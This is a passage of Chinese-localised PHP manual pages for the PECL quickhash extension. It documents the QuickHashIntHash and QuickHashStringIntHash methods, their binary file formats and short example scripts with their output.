  • ? QuickHashIntHash::exists
  • QuickHashIntHash::getSize ?
  • PHP Manual
  • QuickHashIntHash
  • This method retrieves a value from the hash by its key

QuickHashIntHash::get

(PECL quickhash >= Unknown)

QuickHashIntHash::get — This method retrieves a value from the hash by its key

说明

public QuickHashIntHash::get(int $key): int

This method retrieves a value from the hash by its key.

参数

key

The key of the entry to retrieve.

返回值

The value if the key exists, or null if the key wasn't part of the hash.

示例

Example #1 QuickHashIntHash::get() example

<?php
$hash = new QuickHashIntHash( 8 );
var_dump( $hash->get( 1 ) );

var_dump( $hash->add( 2 ) );
var_dump( $hash->get( 2 ) );

var_dump( $hash->add( 3, 5 ) );
var_dump( $hash->get( 3 ) );
?>

以上示例的输出类似于：

bool(false)
bool(true)
int(1)
bool(true)
int(5)

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of elements in the hash

  • ? QuickHashIntHash::get
  • QuickHashIntHash::loadFromFile ?
  • PHP Manual
  • QuickHashIntHash
  • Returns the number of elements in the hash

QuickHashIntHash::getSize

(PECL quickhash >= Unknown)

QuickHashIntHash::getSize — Returns the number of elements in the hash

说明

public QuickHashIntHash::getSize(): int

Returns the number of elements in the hash.

参数

此函数没有参数。

返回值

The number of elements in the hash.

示例

Example #1 QuickHashIntHash::getSize() example

<?php
$hash = new QuickHashIntHash( 8 );
var_dump( $hash->add( 2 ) );
var_dump( $hash->add( 3, 5 ) );
var_dump( $hash->getSize() );
?>

以上示例的输出类似于：

bool(true)
bool(true)
int(2)

User Contributed Notes

There are no user contributed notes for this page.


This factory method creates a hash from a file

  • ? QuickHashIntHash::getSize
  • QuickHashIntHash::loadFromString ?
  • PHP Manual
  • QuickHashIntHash
  • This factory method creates a hash from a file

QuickHashIntHash::loadFromFile

(PECL quickhash >= Unknown)

QuickHashIntHash::loadFromFile — This factory method creates a hash from a file

说明

public static QuickHashIntHash::loadFromFile(string $filename, int $options = ?): QuickHashIntHash

This factory method creates a new hash from a definition file on disk. The file format consists of a signature 'QH\0x11\0', the number of elements as a 32 bit signed integer in system Endianness, followed by 32 bit signed integers packed together in the Endianness that the system that the code runs on uses. For each hash element there are two 32 bit signed integers stored. The first of each element is the key, and the second is the value belonging to the key. An example could be:

Example #1 QuickHash IntHash file format

00000000  51 48 11 00 02 00 00 00  01 00 00 00 01 00 00 00  |QH..............|
00000010  03 00 00 00 09 00 00 00                           |........|
00000018

Example #2 QuickHash IntHash file format

header signature ('QH'; key type: 1; value type: 1; filler: \0x00)
00000000  51 48 11 00

number of elements:
00000004  02 00 00 00

data string:
00000000  01 00 00 00 01 00 00 00  03 00 00 00 09 00 00 00

key/value 1 (key = 1, value = 1)
01 00 00 00  01 00 00 00

key/value 2 (key = 3, value = 9)
03 00 00 00  09 00 00 00

参数

filename

The filename of the file to read the hash from.

options

The same options that the class' constructor takes; except that the size option is ignored. It is automatically calculated to be the same as the number of entries in the hash, rounded up to the nearest power of two with a maximum limit of 4194304.

返回值

Returns a new QuickHashIntHash.

示例

Example #3 QuickHashIntHash::loadFromFile() example

<?php
$file = dirname( __FILE__ ) . "/simple.hash";
$hash = QuickHashIntHash::loadFromFile(
$file,
QuickHashIntHash::DO_NOT_USE_ZEND_ALLOC
);
foreach( range( 0, 0x0f ) as $key )
{
printf( "Key %3d (%2x) is %s\n",
$key, $key,
$hash->exists( $key ) ? 'set' : 'unset'
);
}
?>

以上示例的输出类似于：

Key   0 ( 0) is unset
Key   1 ( 1) is set
Key   2 ( 2) is set
Key   3 ( 3) is set
Key   4 ( 4) is unset
Key   5 ( 5) is set
Key   6 ( 6) is unset
Key   7 ( 7) is set
Key   8 ( 8) is unset
Key   9 ( 9) is unset
Key  10 ( a) is unset
Key  11 ( b) is set
Key  12 ( c) is unset
Key  13 ( d) is set
Key  14 ( e) is unset
Key  15 ( f) is unset

User Contributed Notes

There are no user contributed notes for this page.


This factory method creates a hash from a string

  • ? QuickHashIntHash::loadFromFile
  • QuickHashIntHash::saveToFile ?
  • PHP Manual
  • QuickHashIntHash
  • This factory method creates a hash from a string

QuickHashIntHash::loadFromString

(PECL quickhash >= Unknown)

QuickHashIntHash::loadFromString — This factory method creates a hash from a string

说明

public static QuickHashIntHash::loadFromString(string $contents, int $options = ?): QuickHashIntHash

This factory method creates a new hash from a definition in a string. The file format consists of 32 bit signed integers packed together in the Endianness that the system that the code runs on uses. For each element there are two 32 bit signed integers stored. The first of each element is the key, and the second is the value belonging to the key.

参数

contents

The string containing a serialized format of the hash.

options

The same options that the class' constructor takes; except that the size option is ignored. It is automatically calculated to be the same as the number of entries in the hash, rounded up to the nearest power of two with a maximum limit of 4194304.

返回值

Returns a new QuickHashIntHash.

示例

Example #1 QuickHashIntHash::loadFromString() example

<?php
$contents = file_get_contents( dirname( __FILE__ ) . "/simple.hash" );
$hash = QuickHashIntHash::loadFromString(
$contents,
QuickHashIntHash::DO_NOT_USE_ZEND_ALLOC
);
foreach( range( 0, 0x0f ) as $key )
{
printf( "Key %3d (%2x) is %s\n",
$key, $key,
$hash->exists( $key ) ? 'set' : 'unset'
);
}
?>

以上示例的输出类似于：

Key   0 ( 0) is unset
Key   1 ( 1) is set
Key   2 ( 2) is set
Key   3 ( 3) is set
Key   4 ( 4) is unset
Key   5 ( 5) is set
Key   6 ( 6) is unset
Key   7 ( 7) is set
Key   8 ( 8) is unset
Key   9 ( 9) is unset
Key  10 ( a) is unset
Key  11 ( b) is set
Key  12 ( c) is unset
Key  13 ( d) is set
Key  14 ( e) is unset
Key  15 ( f) is unset

User Contributed Notes

There are no user contributed notes for this page.


This method stores an in-memory hash to disk

  • ? QuickHashIntHash::loadFromString
  • QuickHashIntHash::saveToString ?
  • PHP Manual
  • QuickHashIntHash
  • This method stores an in-memory hash to disk

QuickHashIntHash::saveToFile

(PECL quickhash >= Unknown)

QuickHashIntHash::saveToFile — This method stores an in-memory hash to disk

说明

public QuickHashIntHash::saveToFile(string $filename): void

This method stores an existing hash to a file on disk, in the same format that QuickHashIntHash::loadFromFile() can read.

参数

filename

The filename of the file to store the hash in.

返回值

没有返回值。

示例

Example #1 QuickHashIntHash::saveToFile() example

<?php
$hash = new QuickHashIntHash( 1024 );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->add( 4, 43 ) );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->add( 4, 52 ) );

$hash->saveToFile( '/tmp/test.hash' );
?>

User Contributed Notes

There are no user contributed notes for this page.


This method returns a serialized version of the hash

  • ? QuickHashIntHash::saveToFile
  • QuickHashIntHash::set ?
  • PHP Manual
  • QuickHashIntHash
  • This method returns a serialized version of the hash

QuickHashIntHash::saveToString

(PECL quickhash >= Unknown)

QuickHashIntHash::saveToString — This method returns a serialized version of the hash

说明

public QuickHashIntHash::saveToString(): string

This method returns a serialized version of the hash in the same format that QuickHashIntHash::loadFromString() can read.

参数

此函数没有参数。

返回值

This method returns a string containing a serialized format of the hash. Each element is stored as a four byte value in the Endianness that the current system uses.

示例

Example #1 QuickHashIntHash::saveToString() example

<?php
$hash = new QuickHashIntHash( 1024 );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->add( 4, 34 ) );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->add( 4, 55 ) );

var_dump( $hash->saveToString() );
?>

User Contributed Notes

There are no user contributed notes for this page.


This method updates an entry in the hash with a new value, or adds a new one if the entry doesn't exist

  • ? QuickHashIntHash::saveToString
  • QuickHashIntHash::update ?
  • PHP Manual
  • QuickHashIntHash
  • This method updates an entry in the hash with a new value, or adds a new one if the entry doesn't exist

QuickHashIntHash::set

(PECL quickhash >= Unknown)

QuickHashIntHash::set — This method updates an entry in the hash with a new value, or adds a new one if the entry doesn't exist

说明

public QuickHashIntHash::set(int $key, int $value): bool

This method tries to update an entry with a new value. In case the entry did not yet exist, it will instead add a new entry. It returns whether the entry was added or update. If there are duplicate keys, only the first found element will get an updated value. Use QuickHashIntHash::CHECK_FOR_DUPES during hash creation to prevent duplicate keys from being part of the hash.

参数

key

The key of the entry to add or update.

value

The new value to set the entry with.

返回值

2 if the entry was found and updated, 1 if the entry was newly added or 0 if there was an error.

示例

Example #1 QuickHashIntHash::set() example

<?php
$hash = new QuickHashIntHash( 1024 );

echo "Set->Add\n";
var_dump( $hash->get( 46692 ) );
var_dump( $hash->set( 46692, 16091 ) );
var_dump( $hash->get( 46692 ) );

echo "Set->Update\n";
var_dump( $hash->set( 46692, 29906 ) );
var_dump( $hash->get( 46692 ) );
?>

以上示例的输出类似于：

bool(false)
int(2)
int(16091)
Set->Update
int(1)
int(29906)

User Contributed Notes

There are no user contributed notes for this page.


This method updates an entry in the hash with a new value

  • ? QuickHashIntHash::set
  • QuickHashStringIntHash ?
  • PHP Manual
  • QuickHashIntHash
  • This method updates an entry in the hash with a new value

QuickHashIntHash::update

(PECL quickhash >= Unknown)

QuickHashIntHash::update — This method updates an entry in the hash with a new value

说明

public QuickHashIntHash::update(int $key, int $value): bool

This method updates an entry with a new value, and returns whether the entry was update. If there are duplicate keys, only the first found element will get an updated value. Use QuickHashIntHash::CHECK_FOR_DUPES during hash creation to prevent duplicate keys from being part of the hash.

参数

key

The key of the entry to update.

value

The new value to update the entry with.

返回值

true when the entry was found and updated, and false if the entry was not part of the hash already.

示例

Example #1 QuickHashIntHash::update() example

<?php
$hash = new QuickHashIntHash( 1024 );

var_dump( $hash->add( 141421, 173205 ) );
var_dump( $hash->update( 141421, 223606 ) );
var_dump( $hash->get( 141421 ) );
?>

以上示例的输出类似于：

bool(true)
bool(true)
int(223606)

User Contributed Notes

There are no user contributed notes for this page.


The QuickHashStringIntHash class

(No version information available, might only be in Git)

简介

This class wraps around a hash containing strings, where the values are integer numbers. Hashes are also available as implementation of the ArrayAccess interface.

Hashes can also be iterated over with foreach as the Iterator interface is implemented as well. The order of which elements are returned in is not guaranteed.

类摘要

class QuickHashStringIntHash {
/* 常量 */
const int CHECK_FOR_DUPES = 1;
const int DO_NOT_USE_ZEND_ALLOC = 2;
/* 方法 */
public add(string $key, int $value): bool
public __construct(int $size, int $options = 0)
public delete(string $key): bool
public exists(string $key): bool
public get(string $key): mixed
public getSize(): int
public static loadFromFile(string $filename, int $size = 0, int $options = 0): QuickHashStringIntHash
public static loadFromString(string $contents, int $size = 0, int $options = 0): QuickHashStringIntHash
public saveToFile(string $filename): void
public saveToString(): string
public set(string $key, int $value): int
public update(string $key, int $value): bool
}

预定义常量

QuickHashStringIntHash::CHECK_FOR_DUPES

If enabled, adding duplicate elements to a set (through either QuickHashStringIntHash::add() or QuickHashStringIntHash::loadFromFile()) will result in those elements to be dropped from the set. This will take up extra time, so only used when it is required.

QuickHashStringIntHash::DO_NOT_USE_ZEND_ALLOC

Disables the use of PHP's internal memory manager for internal set structures. With this option enabled, internal allocations will not count towards the memory_limit settings.

Table of Contents

  • QuickHashStringIntHash::add — This method adds a new entry to the hash
  • QuickHashStringIntHash::__construct — Creates a new QuickHashStringIntHash object
  • QuickHashStringIntHash::delete — This method deletes an entry from the hash
  • QuickHashStringIntHash::exists — This method checks whether a key is part of the hash
  • QuickHashStringIntHash::get — This method retrieves a value from the hash by its key
  • QuickHashStringIntHash::getSize — Returns the number of elements in the hash
  • QuickHashStringIntHash::loadFromFile — This factory method creates a hash from a file
  • QuickHashStringIntHash::loadFromString — This factory method creates a hash from a string
  • QuickHashStringIntHash::saveToFile — This method stores an in-memory hash to disk
  • QuickHashStringIntHash::saveToString — This method returns a serialized version of the hash
  • QuickHashStringIntHash::set — This method updates an entry in the hash with a new value, or adds a new one if the entry doesn't exist
  • QuickHashStringIntHash::update — This method updates an entry in the hash with a new value

User Contributed Notes

There are no user contributed notes for this page.


This method adds a new entry to the hash

  • ? QuickHashStringIntHash
  • QuickHashStringIntHash::__construct ?
  • PHP Manual
  • QuickHashStringIntHash
  • This method adds a new entry to the hash

QuickHashStringIntHash::add

(No version information available, might only be in Git)

QuickHashStringIntHash::add — This method adds a new entry to the hash

说明

public QuickHashStringIntHash::add(string $key, int $value): bool

This method adds a new entry to the hash, and returns whether the entry was added. Entries are by default always added unless QuickHashStringIntHash::CHECK_FOR_DUPES has been passed when the hash was created.

参数

key

The key of the entry to add.

value

The value of the entry to add.

返回值

true when the entry was added, and false if the entry was not added.

示例

Example #1 QuickHashStringIntHash::add() example

<?php
echo "without dupe checking\n";
$hash = new QuickHashStringIntHash( 1024 );
var_dump( $hash );
var_dump( $hash->exists( "four" ) );
var_dump( $hash->get( "four" ) );
var_dump( $hash->add( "four", 22 ) );
var_dump( $hash->exists( "four" ) );
var_dump( $hash->get( "four" ) );
var_dump( $hash->add( "four", 12 ) );

echo "\nwith dupe checking\n";
$hash = new QuickHashStringIntHash( 1024, QuickHashStringIntHash::CHECK_FOR_DUPES );
var_dump( $hash );
var_dump( $hash->exists( "four" ) );
var_dump( $hash->get( "four" ) );
var_dump( $hash->add( "four", 78 ) );
var_dump( $hash->exists( "four" ) );
var_dump( $hash->get( "four" ) );
var_dump( $hash->add( "four", 9 ) );
?>

以上示例的输出类似于：

without dupe checking
object(QuickHashStringIntHash)#1 (0) {
}
bool(false)
bool(false)
bool(true)
bool(true)
int(22)
bool(true)

with dupe checking
object(QuickHashStringIntHash)#2 (0) {
}
bool(false)
bool(false)
bool(true)
bool(true)
int(78)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


Creates a new QuickHashStringIntHash object

  • ? QuickHashStringIntHash::add
  • QuickHashStringIntHash::delete ?
  • PHP Manual
  • QuickHashStringIntHash
  • Creates a new QuickHashStringIntHash object

QuickHashStringIntHash::__construct

(No version information available, might only be in Git)

QuickHashStringIntHash::__construct — Creates a new QuickHashStringIntHash object

说明

public QuickHashStringIntHash::__construct(int $size, int $options = 0)

This constructor creates a new QuickHashStringIntHash. The size is the amount of bucket lists to create. The more lists there are, the less collisions you will have. Options are also supported.

参数

size

The amount of bucket lists to configure. The number you pass in will be automatically rounded up to the next power of two. It is also automatically limited from 64 to 4194304.

options

The options that you can pass in are: QuickHashStringIntHash::CHECK_FOR_DUPES, which makes sure no duplicate entries are added to the hash and QuickHashStringIntHash::DO_NOT_USE_ZEND_ALLOC to not use PHP's internal memory manager.

返回值

Returns a new QuickHashStringIntHash object.

示例

Example #1 QuickHashStringIntHash::__construct() example

<?php
var_dump( new QuickHashStringIntHash( 1024 ) );
var_dump( new QuickHashStringIntHash( 1024, QuickHashStringIntHash::CHECK_FOR_DUPES ) );
?>

User Contributed Notes

There are no user contributed notes for this page.


This method deletes an entry from the hash

  • ? QuickHashStringIntHash::__construct
  • QuickHashStringIntHash::exists ?
  • PHP Manual
  • QuickHashStringIntHash
  • This method deletes an entry from the hash

QuickHashStringIntHash::delete

(No version information available, might only be in Git)

QuickHashStringIntHash::delete — This method deletes an entry from the hash

说明

public QuickHashStringIntHash::delete(string $key): bool

This method deletes an entry from the hash, and returns whether the entry was deleted or not. Associated memory structures will not be freed immediately, but rather when the hash itself is freed.

Elements can not be deleted when the hash is used in an iterator. The method will not throw an exception, but simply return false like would happen with any other deletion failure.

参数

key

The key of the entry to delete.

返回值

true when the entry was deleted, and false if the entry was not deleted.

示例

Example #1 QuickHashStringIntHash::delete() example

<?php
$hash = new QuickHashStringIntHash( 1024 );
var_dump( $hash->exists( 'four' ) );
var_dump( $hash->add( 'four', 5 ) );
var_dump( $hash->get( 'four' ) );
var_dump( $hash->delete( 'four' ) );
var_dump( $hash->exists( 'four' ) );
var_dump( $hash->get( 'four' ) );
var_dump( $hash->delete( 'four' ) );
?>

以上示例的输出类似于：

bool(false)
bool(true)
int(5)
bool(true)
bool(false)
bool(false)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


This method checks whether a key is part of the hash

  • ? QuickHashStringIntHash::delete
  • QuickHashStringIntHash::get ?
  • PHP Manual
  • QuickHashStringIntHash
  • This method checks whether a key is part of the hash

QuickHashStringIntHash::exists

(No version information available, might only be in Git)

QuickHashStringIntHash::exists — This method checks whether a key is part of the hash

说明

public QuickHashStringIntHash::exists(string $key): bool

This method checks whether an entry with the provided key exists in the hash.

参数

key

The key of the entry to check for whether it exists in the hash.

返回值

Returns true when the entry was found, or false when the entry is not found.

User Contributed Notes

There are no user contributed notes for this page.


This method retrieves a value from the hash by its key

  • ? QuickHashStringIntHash::exists
  • QuickHashStringIntHash::getSize ?
  • PHP Manual
  • QuickHashStringIntHash
  • This method retrieves a value from the hash by its key

QuickHashStringIntHash::get

(No version information available, might only be in Git)

QuickHashStringIntHash::get — This method retrieves a value from the hash by its key

说明

public QuickHashStringIntHash::get(string $key): mixed

This method retrieves a value from the hash by its key.

参数

key

The key of the entry to retrieve.

返回值

The value if the key exists, or null if the key wasn't part of the hash.

示例

Example #1 QuickHashStringIntHash::get() example

<?php
$hash = new QuickHashStringIntHash( 8 );
var_dump( $hash->get( "one" ) );

var_dump( $hash->add( "two", 2 ) );
var_dump( $hash->get( "two" ) );
?>

以上示例的输出类似于：

bool(false)
bool(true)
int(2)

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of elements in the hash

  • ? QuickHashStringIntHash::get
  • QuickHashStringIntHash::loadFromFile ?
  • PHP Manual
  • QuickHashStringIntHash
  • Returns the number of elements in the hash

QuickHashStringIntHash::getSize

(No version information available, might only be in Git)

QuickHashStringIntHash::getSize — Returns the number of elements in the hash

说明

public QuickHashStringIntHash::getSize(): int

Returns the number of elements in the hash.

参数

此函数没有参数。

返回值

The number of elements in the hash.

示例

Example #1 QuickHashStringIntHash::getSize() example

<?php
$hash = new QuickHashStringIntHash( 8 );
var_dump( $hash->add( "two", 2 ) );
var_dump( $hash->add( "three", 5 ) );
var_dump( $hash->getSize() );
?>

以上示例的输出类似于：

bool(true)
bool(true)
int(2)

User Contributed Notes

There are no user contributed notes for this page.


This factory method creates a hash from a file

  • ? QuickHashStringIntHash::getSize
  • QuickHashStringIntHash::loadFromString ?
  • PHP Manual
  • QuickHashStringIntHash
  • This factory method creates a hash from a file

QuickHashStringIntHash::loadFromFile

(No version information available, might only be in Git)

QuickHashStringIntHash::loadFromFile — This factory method creates a hash from a file

说明

public static QuickHashStringIntHash::loadFromFile(string $filename, int $size = 0, int $options = 0): QuickHashStringIntHash

This factory method creates a new hash from a definition file on disk. The file format consists of a signature 'QH\0x21\0', the number of elements as a 32 bit signed integer in system Endianness, an unsigned 32 bit integer containing the number of element data to follow in characters. This element data contains all the strings. The follows another signed 32 bit integer containing the number of bucket lists. After the header and the strings, the elements follow. They are ordered by bucket list so that the keys don't have to be hashed in order to restore the hash. For each bucket list, the following information is stored (all as 32 bit integers): the bucket list index, the number of elements in that list, and then in pairs of two unsigned 32 bit integers the elements, where the first one is the index into the string list containing the keys, and the second one the value. An example could be:

Example #1 QuickHash StringIntHash file format

00000000  51 48 21 00 02 00 00 00  09 00 00 00 40 00 00 00  |QH!.........@...|
00000010  4f 4e 45 00 4e 49 4e 45  00 07 00 00 00 01 00 00  |ONE.NINE........|
00000020  00 00 00 00 00 01 00 00  00 2f 00 00 00 01 00 00  |........./......|
00000030  00 04 00 00 00 03 00 00  00                       |.........|
00000039

Example #2 QuickHash IntHash file format

header signature ('QH'; key type: 2; value type: 1; filler: \0x00)
00000000  51 48 21 00

number of elements:
00000004  02 00 00 00

length of string values (9 characters):
00000008  09 00 00 00

number of hash bucket lists (this is configured for hashes as argument to the
constructor normally, 64 in this case):
0000000C  40 00 00 00

string values:
00000010  4f 4e 45 00 4e 49 4e 45  00

bucket lists:
  bucket list 1 (with key 7, and 1 element):
    header:
    07 00 00 00 01 00 00 00
    elements (key index: 0 ('ONE'), value = 0):
    00 00 00 00 01 00 00 00
  bucket list 2 (with key 0x2f, and 1 element):
    header:
    2f 00 00 00 01 00 00 00
    elements (key index: 4 ('NINE'), value = 3):
    04 00 00 00 03 00 00 00

参数

filename

The filename of the file to read the hash from.

size

The amount of bucket lists to configure. The number you pass in will be automatically rounded up to the next power of two. It is also automatically limited from 4 to 4194304.

options

The same options that the class' constructor takes; except that the size option is ignored. It is read from the file format (unlike the QuickHashIntHash and QuickHashIntStringHash classes, where it is automatically calculated from the number of entries in the hash.)

返回值

Returns a new QuickHashStringIntHash.

示例

Example #3 QuickHashStringIntHash::loadFromFile() example

<?php
$file = dirname( __FILE__ ) . "/simple.hash.string";
$hash = QuickHashStringIntHash::loadFromFile(
$file,
QuickHashStringIntHash::DO_NOT_USE_ZEND_ALLOC
);
foreach( range( 0, 0x0f ) as $key )
{
$i = 48712 + $key * 1631;
$k = base_convert( $i, 10, 36 );
echo $k, ' => ', $hash->get( $k ), "\n";
}
?>

以上示例的输出类似于：

11l4 => 48712
12uf => 50343
143q => 51974
15d1 => 53605
16mc => 55236
17vn => 56867
194y => 58498
1ae9 => 60129
1bnk => 61760
1cwv => 63391
1e66 => 65022
1ffh => 66653
1gos => 68284
1hy3 => 69915
1j7e => 71546
1kgp => 73177

User Contributed Notes

There are no user contributed notes for this page.


This factory method creates a hash from a string

  • ? QuickHashStringIntHash::loadFromFile
  • QuickHashStringIntHash::saveToFile ?
  • PHP Manual
  • QuickHashStringIntHash
  • This factory method creates a hash from a string

QuickHashStringIntHash::loadFromString

(No version information available, might only be in Git)

QuickHashStringIntHash::loadFromString — This factory method creates a hash from a string

说明

public static QuickHashStringIntHash::loadFromString(string $contents, int $size = 0, int $options = 0): QuickHashStringIntHash

This factory method creates a new hash from a definition in a string. The format is the same as the one used in "loadFromFile".

参数

contents

The string containing a serialized format of the hash.

size

The amount of bucket lists to configure. The number you pass in will be automatically rounded up to the next power of two. It is also automatically limited from 4 to 4194304.

options

The same options that the class' constructor takes; except that the size option is ignored. It is automatically calculated to be the same as the number of entries in the hash, rounded up to the nearest power of two with a maximum limit of 4194304.

返回值

Returns a new QuickHashStringIntHash.

示例

Example #1 QuickHashStringIntHash::loadFromString() example

<?php
$contents = file_get_contents( dirname( __FILE__ ) . "/simple.hash.string" );
$hash = QuickHashStringIntHash::loadFromString(
$contents,
QuickHashStringIntHash::DO_NOT_USE_ZEND_ALLOC
);
foreach( range( 0, 0x0f ) as $key )
{
$i = 48712 + $key * 1631;
$k = base_convert( $i, 10, 36 );
echo $k, ' => ', $hash->get( $k ), "\n";
}
?>

以上示例的输出类似于：

11l4 => 48712
12uf => 50343
143q => 51974
15d1 => 53605
16mc => 55236
17vn => 56867
194y => 58498
1ae9 => 60129
1bnk => 61760
1cwv => 63391
1e66 => 65022
1ffh => 66653
1gos => 68284
1hy3 => 69915
1j7e => 71546
1kgp => 73177

User Contributed Notes

There are no user contributed notes for this page.


This method stores an in-memory hash to disk

  • ? QuickHashStringIntHash::loadFromString
  • QuickHashStringIntHash::saveToString ?
  • PHP Manual
  • QuickHashStringIntHash
  • This method stores an in-memory hash to disk

QuickHashStringIntHash::saveToFile

(No version information available, might only be in Git)

QuickHashStringIntHash::saveToFile — This method stores an in-memory hash to disk

说明

public QuickHashStringIntHash::saveToFile(string $filename): void

This method stores an existing hash to a file on disk, in the same format that loadFromFile() can read.

参数

filename

The filename of the file to store the hash in.

返回值

没有返回值。

示例

Example #1 QuickHashStringIntHash::saveToFile() example

<?php
$hash = new QuickHashStringIntHash( 1024 );
var_dump( $hash->add( "forty three", 42 ) );
var_dump( $hash->add( "fifty two", 52 ) );

$hash->saveToFile( '/tmp/test.hash.string' );
?>

User Contributed Notes

There are no user contributed notes for this page.


This method returns a serialized version of the hash

  • ? QuickHashStringIntHash::saveToFile
  • QuickHashStringIntHash::set ?
  • PHP Manual
  • QuickHashStringIntHash
  • This method returns a serialized version of the hash

QuickHashStringIntHash::saveToString

(No version information available, might only be in Git)

QuickHashStringIntHash::saveToString — This method returns a serialized version of the hash

说明

public QuickHashStringIntHash::saveToString(): string

This method returns a serialized version of the hash in the same format that QuickHashStringIntHash::loadFromString() can read.

参数

此函数没有参数。

返回值

This method returns a serialized format of an existing hash, in the same format that QuickHashStringIntHash::loadFromString() can read.

示例

Example #1 QuickHashStringIntHash::saveToString() example

<?php
$hash = new QuickHashStringIntHash( 1024 );
var_dump( $hash->add( "forty three", 42 ) );
var_dump( $hash->add( "fifty two", 52 ) );

var_dump( $hash->saveToString() );
?>

User Contributed Notes

There are no user contributed notes for this page.


This method updates an entry in the hash with a new value, or adds a new one if the entry doesn't exist

  • ? QuickHashStringIntHash::saveToString
  • QuickHashStringIntHash::update ?
  • PHP Manual
  • QuickHashStringIntHash
  • This method updates an entry in the hash with a new value, or adds a new one if the entry doesn't exist

QuickHashStringIntHash::set

(No version information available, might only be in Git)

QuickHashStringIntHash::set — This method updates an entry in the hash with a new value, or adds a new one if the entry doesn't exist

说明

public QuickHashStringIntHash::set(string $key, int $value): int

This method tries to update an entry with a new value. In case the entry did not yet exist, it will instead add a new entry. It returns whether the entry was added or update. If there are duplicate keys, only the first found element will get an updated value. Use QuickHashStringIntHash::CHECK_FOR_DUPES during hash creation to prevent duplicate keys from being part of the hash.

参数

key

The key of the entry to add or update.

value

The value of the entry to add. If a non-string is passed, it will be converted to a string automatically if possible.

返回值

2 if the entry was found and updated, 1 if the entry was newly added or 0 if there was an error.

示例

Example #1 QuickHashStringIntHash::set() example

<?php
$hash = new QuickHashStringIntHash( 1024 );

echo "Set->Add\n";
var_dump( $hash->get( "forty six thousand six hundred ninety two" ) );
var_dump( $hash->set( "forty six thousand six hundred ninety two", 16091 ) );
var_dump( $hash->get( "forty six thousand six hundred ninety two" ) );

echo "Set->Update\n";
var_dump( $hash->set( "forty six thousand six hundred ninety two", 29906 ) );
var_dump( $hash->get( "forty six thousand six hundred ninety two" ) );
?>

以上示例的输出类似于：

Set->Add
bool(false)
int(2)
int(16091)
Set->Update
int(1)
int(29906)

User Contributed Notes

There are no user contributed notes for this page.


This method updates an entry in the hash with a new value

  • ? QuickHashStringIntHash::set
  • QuickHashIntStringHash ?
  • PHP Manual
  • QuickHashStringIntHash
  • This method updates an entry in the hash with a new value

QuickHashStringIntHash::update

(No version information available, might only be in Git)

QuickHashStringIntHash::update — This method updates an entry in the hash with a new value

说明

public QuickHashStringIntHash::update(string $key, int $value): bool

This method updates an entry with a new value, and returns whether the entry was update. If there are duplicate keys, only the first found element will get an updated value. Use QuickHashStringIntHash::CHECK_FOR_DUPES during hash creation to prevent duplicate keys from being part of the hash.

参数

key

The key of the entry to update.

value

The new value for the entry. If a non-string is passed, it will be converted to a string automatically if possible.

返回值

true when the entry was found and updated, and false if the entry was not part of the hash already.

示例

Example #1 QuickHashStringIntHash::update() example

<?php
$hash = new QuickHashStringIntHash( 1024 );

$hash->add( 'six', 314159265 );
$hash->add( "a lot", 314159265 );

echo $hash->get( 'six' ), "\n";
echo $hash->get( 'a lot' ), "\n";

var_dump( $hash->update( 'a lot', 314159266 ) );
var_dump( $hash->update( "a lot plus one", 314159999 ) );

echo $hash->get( 'six' ), "\n";
echo $hash->get( 'a lot' ), "\n";
?>

以上示例的输出类似于：

314159265
314159265
bool(true)
bool(false)
314159265
314159266

User Contributed Notes

There are no user contributed notes for this page.


The QuickHashIntStringHash class

(PECL quickhash >= Unknown)

简介

This class wraps around a hash containing integer numbers, where the values are strings. Hashes are also available as implementation of the ArrayAccess interface.

Hashes can also be iterated over with foreach as the Iterator interface is implemented as well. The order of which elements are returned in is not guaranteed.

类摘要

class QuickHashIntStringHash {
/* 常量 */
const int CHECK_FOR_DUPES = 1;
const int DO_NOT_USE_ZEND_ALLOC = 2;
const int HASHER_NO_HASH = 256;
const int HASHER_JENKINS1 = 512;
const int HASHER_JENKINS2 = 1024;
/* 方法 */
public add(int $key, string $value): bool
public __construct(int $size, int $options = 0)
public delete(int $key): bool
public exists(int $key): bool
public get(int $key): mixed
public getSize(): int
public static loadFromFile(string $filename, int $size = 0, int $options = 0): QuickHashIntStringHash
public static loadFromString(string $contents, int $size = 0, int $options = 0): QuickHashIntStringHash
public saveToFile(string $filename): void
public saveToString(): string
public set(int $key, string $value): int
public update(int $key, string $value): bool
}

预定义常量

QuickHashIntStringHash::CHECK_FOR_DUPES

If enabled, adding duplicate elements to a set (through either QuickHashIntStringHash::add() or QuickHashIntStringHash::loadFromFile()) will result in those elements to be dropped from the set. This will take up extra time, so only used when it is required.

QuickHashIntStringHash::DO_NOT_USE_ZEND_ALLOC

Disables the use of PHP's internal memory manager for internal set structures. With this option enabled, internal allocations will not count towards the memory_limit settings.

QuickHashIntStringHash::HASHER_NO_HASH

Selects to not use a hashing function, but merely use a modulo to find the bucket list index. This is not faster than normal hashing, and gives more collisions.

QuickHashIntStringHash::HASHER_JENKINS1

This is the default hashing function to turn the integer hashes into bucket list indexes.

QuickHashIntStringHash::HASHER_JENKINS2

Selects a variant hashing algorithm.

Table of Contents

  • QuickHashIntStringHash::add — This method adds a new entry to the hash
  • QuickHashIntStringHash::__construct — Creates a new QuickHashIntStringHash object
  • QuickHashIntStringHash::delete — This method deletes an entry from the hash
  • QuickHashIntStringHash::exists — This method checks whether a key is part of the hash
  • QuickHashIntStringHash::get — This method retrieves a value from the hash by its key
  • QuickHashIntStringHash::getSize — Returns the number of elements in the hash
  • QuickHashIntStringHash::loadFromFile — This factory method creates a hash from a file
  • QuickHashIntStringHash::loadFromString — This factory method creates a hash from a string
  • QuickHashIntStringHash::saveToFile — This method stores an in-memory hash to disk
  • QuickHashIntStringHash::saveToString — This method returns a serialized version of the hash
  • QuickHashIntStringHash::set — This method updates an entry in the hash with a new value, or adds a new one if the entry doesn't exist
  • QuickHashIntStringHash::update — This method updates an entry in the hash with a new value

User Contributed Notes

There are no user contributed notes for this page.


This method adds a new entry to the hash

  • ? QuickHashIntStringHash
  • QuickHashIntStringHash::__construct ?
  • PHP Manual
  • QuickHashIntStringHash
  • This method adds a new entry to the hash

QuickHashIntStringHash::add

(PECL quickhash >= Unknown)

QuickHashIntStringHash::add — This method adds a new entry to the hash

说明

